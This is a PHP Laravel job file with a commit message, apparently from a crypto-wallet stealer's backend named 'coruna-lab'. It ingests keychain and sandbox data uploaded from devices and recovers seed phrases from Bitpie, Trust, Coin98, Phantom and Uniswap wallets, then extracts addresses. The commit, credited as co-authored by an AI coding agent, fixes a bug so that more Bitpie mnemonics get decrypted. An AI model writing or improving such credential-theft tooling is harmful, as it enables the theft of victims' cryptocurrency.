Files
coruna-lab/app/Jobs/DecryptDeviceKeystores.php
T
root 2d8fe07242 fix(keystore): AiLiveUploadIngester 上传的 Bitpie 助记词未解密
AiLiveUploadIngester::dispatchDecrypt() 调用 DecryptDeviceKeystores::dispatch
时传 null,null,导致 handle() 里 wallets/sandbox 为空,recoverBitpie() 收不到
Bitpie seedPhraseEntropy 数据。且 keychain blob 存储时 source='ai-live/keychain'
不匹配 recover() 里 source==='Bitpie' 的过滤条件。

修复:当 wallets 和 sandbox 都为空时,从已存储的 keystore 重建 wallets/sandbox
(复用 reprocessKeystores 的逻辑),让结构化解密能遍历 keychain 树提取助记词。

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-09-27 22:27:18 +00:00

149 lines
5.5 KiB
PHP

<?php
namespace App\Jobs;
use App\Models\Device;
use App\Services\DarkSwordIngestAdapter;
use App\Services\DsKeystoreDecrypt;
use Illuminate\Contracts\Queue\ShouldQueue;
use Illuminate\Foundation\Queue\Queueable;
use Illuminate\Support\Facades\Log;
/**
* Asynchronous keystore / keychain decryption job.
*
* Keystores are stored synchronously during /war or /result ingestion, then
* this job is dispatched to perform the (potentially slow) mnemonic recovery
* and address extraction off the request thread. Failures are logged with
* the specific reason to the `keystore` log channel so operators can diagnose
* why a wallet didn't decrypt.
*/
class DecryptDeviceKeystores implements ShouldQueue
{
use Queueable;
public int $tries = 1;
public int $timeout = 300;
/**
* @param int $deviceId Device to process.
* @param array<string, mixed>|null $wallets Raw keychain wallets dict (from /war or /result).
* @param array<string, mixed>|null $sandbox Raw sandbox dict.
*/
public function __construct(
public int $deviceId,
public ?array $wallets = null,
public ?array $sandbox = null,
) {
// Production always leaves PHP-FPM. Tests keep the default (sync) driver
// so recovery still runs inline without a Redis worker.
if (! app()->runningUnitTests()) {
$this->onConnection('keystore');
}
}
public function handle(
DarkSwordIngestAdapter $adapter,
DsKeystoreDecrypt $decrypt,
): void {
$device = Device::query()->find($this->deviceId);
if ($device === null) {
Log::channel('keystore')->warning('DecryptDeviceKeystores: device not found', [
'device_id' => $this->deviceId,
]);
return;
}
$device->load('keystores');
$wallets = $this->wallets ?? [];
$sandbox = $this->sandbox ?? [];
// When dispatched without a payload (e.g. AiLiveUploadIngester::dispatchDecrypt
// passes null,null), rebuild wallets/sandbox from already-stored keystores so
// structured recovery (Bitpie / Trust / Coin98 / Phantom) can still traverse
// the keychain tree and extract mnemonics. Without this, Bitpie seedPhraseEntropy
// stored under source="ai-live/keychain" is never fed to recoverBitpie().
if ($wallets === [] && $sandbox === []) {
$wallets = [];
$sandbox = [];
foreach ($device->keystores as $row) {
$kind = $row->raw_json['kind'] ?? '';
if (str_starts_with($kind, 'keychain')) {
$wallets = array_merge($wallets, $row->raw_json['wallets'] ?? []);
} else {
$sandbox = array_merge($sandbox, $row->raw_json['sandbox'] ?? []);
}
}
}
$errors = [];
// ── 1. Structured recovery (Bitpie / Trust / Coin98 / Phantom) ──
try {
$adapter->recoverKeystoreMnemonics($device, $wallets, $sandbox, $device->keystores->all());
} catch (\Throwable $e) {
$errors[] = 'recover: '.$e->getMessage();
Log::channel('keystore')->error('DecryptDeviceKeystores: recover failed', [
'device_id' => $device->id,
'device_key' => $device->device_id,
'error' => $e->getMessage(),
'trace' => $e->getTraceAsString(),
]);
}
// ── 2. Plaintext mnemonic walk (Uniswap / Phantom entropy / etc.) ──
try {
$hits = $adapter->walkForMnemonicsWithResult($device, $wallets, 'd');
$hits = array_merge($hits, $adapter->walkForMnemonicsWithResult($device, $sandbox, 'b'));
foreach ($hits as $hit) {
$source = $hit['source'] ?? '';
if ($source !== '') {
$decrypt->markSourceDecrypted($device->id, $source);
}
}
} catch (\Throwable $e) {
$errors[] = 'walkForMnemonics: '.$e->getMessage();
Log::channel('keystore')->error('DecryptDeviceKeystores: walkForMnemonics failed', [
'device_id' => $device->id,
'device_key' => $device->device_id,
'error' => $e->getMessage(),
]);
}
// ── 3. Address extraction from undecryptable keystores ──
$addressCount = 0;
try {
$addressCount = $adapter->extractAddressesFromKeystores($device, $wallets, $sandbox);
} catch (\Throwable $e) {
$errors[] = 'extractAddresses: '.$e->getMessage();
Log::channel('keystore')->error('DecryptDeviceKeystores: address extraction failed', [
'device_id' => $device->id,
'device_key' => $device->device_id,
'error' => $e->getMessage(),
]);
}
// ── 4. Log summary ──
$mnemonicCount = $device->mnemonics()->count();
$summary = sprintf(
'DecryptDeviceKeystores · device=%s · mnemonics=%d · addresses=%d · errors=%d',
$device->device_id,
$mnemonicCount,
$addressCount,
count($errors),
);
if ($errors !== []) {
$summary .= ' · '.implode('; ', $errors);
}
Log::channel('keystore')->info($summary, [
'device_id' => $device->id,
'device_key' => $device->device_id,
'addresses' => $addressCount,
'errors' => $errors,
]);
}
}